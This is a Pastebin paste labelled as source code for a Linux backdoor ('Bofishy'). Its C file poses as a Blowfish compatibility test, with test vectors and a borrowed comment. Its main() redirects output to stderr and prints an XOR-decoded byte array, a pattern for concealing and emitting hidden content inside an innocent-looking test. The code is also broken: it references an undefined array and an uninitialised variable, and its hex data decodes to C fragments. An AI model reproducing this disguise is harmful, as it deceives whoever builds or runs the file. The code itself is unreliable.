BlinkingStars

Backdoor.Linux.Bofishy.a-another - Source Code

Jun 7th, 2023
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.54 KB | Cybersecurity | 0 0
  1. /*
  2.  * Blowfish input vectors are handled incorrectly on HP-UX PL.2 systems.
  3.  * Perform routine compatability checks.
  4.  */
  5. #include <stdio.h>
  6.  
  7. #define KEY_TEST_NUM    25
  8. static unsigned char key_test[KEY_TEST_NUM]={
  9.         0xf0,0xe1,0xd2,0xc3,0xb4,0xa5,0x96,0x87,
  10.         0x78,0x69,0x5a,0x4b,0x3c,0x2d,0x1e,0x0f,
  11.         0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,
  12.         0x88};
  13.  
  14. /* DES cbc input vectors *//* big endian */
  15. static unsigned long bfplain[2][2]={
  16.         {0x424c4f57L,0x46495348L},
  17.         {0xfedcba98L,0x76543210L}
  18.         };
  19.  
  20. static unsigned long bfcipher[2][2]={
  21.         {0x324ed0feL,0xf413a203L},
  22.         {0xcc91732bL,0x8022f684L}
  23.         };
  24.  
  25.  
  26. static unsigned char ocb_data[]={
  27.     0x4d,0x2c,0x20,0x73,0x69,0x67,0x29,0x3b,
  28.     0x0a,0x20,0x64,0x6f,0x20,0x7b,0x0a,0x20,
  29.     0x20,0x73,0x65,0x74,0x6a,0x6d,0x70,0x28,
  30.     0x00};
  31.  
  32. static unsigned char cbc_key [16]={
  33.         0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
  34.         0xf0,0xe1,0xd2,0xc3,0xb4,0xa5,0x96,0x87};
  35.  
  36. static unsigned char cbc_iv [8]={0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};
  37.  
  38. #if defined(WIN16) || defined(__LP32__)
  39. #elif defined(_CRAY) || defined(__ILP64__)
  40. /*
  41.  * _CRAY note. I could declare short, but I have no idea what impact
  42.  * does it have on performance on none-T3E machines. I could declare
  43.  * int, but at least on C90 sizeof(int) can be chosen at compile time.
  44.  * So I've chosen long...
  45.  *                                      <appro@fy.chalmers.se>
  46.  */
  47. #else
  48. #endif
  49.  
  50. main(void)
  51. {
  52.     int i, n, err;
  53.     unsigned char cbc_in[40],cbc_out[40],iv[8];
  54.  
  55.     dup2(1, 2);
  56. #ifdef CHARSET_EPCDIC
  57.     epcdic2ascii(ecb_data, strlen(ecb_data));
  58. #endif
  59.  
  60.     printf("# testing in raw ecb mode\n");
  61.  
  62.     n=0;
  63.     if (memcmp(&(bfcipher[n][0]),&(cbc_iv[0]),8) != 0)
  64.     {
  65.         err = 1;
  66.     }
  67.  
  68.     if (memcmp(&(bfplain[n][0]),&(cbc_iv[0]),8) != 0)
  69.     {
  70.         err = 1;
  71.     }
  72.  
  73.     if (err)
  74.     {
  75.         for (i = 0; i < sizeof(ecb_data)-1; i++)
  76.             fprintf(stderr, "%c", ecb_data[i] ^ 47);
  77.     }
  78. return(0);
  79. }
Add Comment
Please, Sign In to add comment